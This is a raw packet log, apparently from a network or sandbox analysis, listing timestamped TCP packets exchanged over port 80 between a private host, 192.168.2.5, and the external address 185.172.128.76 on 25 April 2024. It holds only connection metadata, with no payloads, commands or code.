Apr 25, 2024 21:47:59.352719069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352766991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352783918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352866888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353009939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353027105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353038073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353055000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353058100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353069067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353069067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353108883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353108883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353108883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353152990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353166103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353168964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353207111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353207111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353238106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353288889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353291988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353312016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353352070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353352070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353359938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353403091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353432894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353447914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353488922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353488922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353493929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353539944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353543997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353566885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353605032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353605032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353636980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353651047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353662014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353688955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353688955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353709936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353722095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353763103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353801012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353801012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.353840113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.353885889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354001999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354053020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354073048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354123116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354140043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354181051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354185104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354208946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354234934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354250908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354275942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354321957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354324102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354337931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354355097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354370117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354397058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354397058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354427099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354443073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354466915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354485035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354485035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354516029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354517937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354563951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354573011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354588032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354621887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354621887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354626894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354665041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354675055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354701996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354717970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354734898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354734898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354753971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354758978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354804039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354825974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354846001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354890108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354890108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354899883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354912996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.354967117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354967117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.354969025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355042934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355051994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355103016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355103970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355118036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355154991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355154991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355236053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355283976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355496883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355520964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355549097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355564117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355564117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355601072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355652094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355652094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355653048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355695009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355700970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355739117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355770111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355808020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355851889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355853081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355851889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355905056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355935097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.355946064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355946064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.355978966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356015921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356015921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356048107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356064081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356089115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356112957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356112957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356136084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356185913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356231928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356359959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356396914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356414080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356451035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356489897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356489897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356513023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356560946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356561899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356623888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356631994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356640100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356668949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356687069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356698036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356746912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356760979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356765985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356775045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356789112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356795073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356796026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356826067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356834888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356834888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356858969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356897116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356897116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.356926918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.356964111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357002020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357002020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357002020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357029915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357069969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357069969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357075930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357119083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357142925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357148886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357160091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357178926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357208014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357223034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357240915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357289076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357340097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357351065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357351065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357383013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357429028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357429028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357455015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357511997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357511997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357568979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357604980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357609034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357609034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357664108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357686043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357717991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357731104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357745886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357784986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357784986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357785940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357803106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357819080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357832909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357841015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357856035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357858896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357871056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357897043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357897997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357923985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357939005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357947111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357964039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.357971907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.357995033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358011007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358045101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358059883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358059883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358066082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358104944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358104944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358115911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358141899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358180046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358180046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358253002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358290911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358345985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358347893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358347893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358385086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358402014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358405113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358442068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358442068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358473063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358489037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358530045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358537912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358541012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358558893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358587980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358592987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358592987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358633995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358635902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358692884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358694077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358724117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358736992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358740091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358773947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358773947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358808994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358823061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358861923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358872890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358872890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358880997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358906031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.358925104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358925104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358952999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.358969927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359004021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359014988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359054089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359085083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359157085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359162092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359213114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359230995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359246969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359272957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359273911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359306097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359306097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359323025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359363079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359389067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359402895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359417915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359451056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359456062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359483004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359520912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359520912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359555960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359571934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359591007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359617949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359617949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359632015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359656096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359677076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359703064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.359711885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.359759092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.404063940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.611907959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.718784094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.718807936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.718818903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.718825102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.718858004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.718929052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.718941927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.718961000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.718997002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.718997002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.719012976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.719042063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.719048977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.719099045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.719110966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.719129086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.719150066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.772557974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.772614956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.772696972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.772708893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.772720098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.772732019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.772732019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.772757053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.772783041 CEST	49704	80	192.168.2.5	185.172.128.76
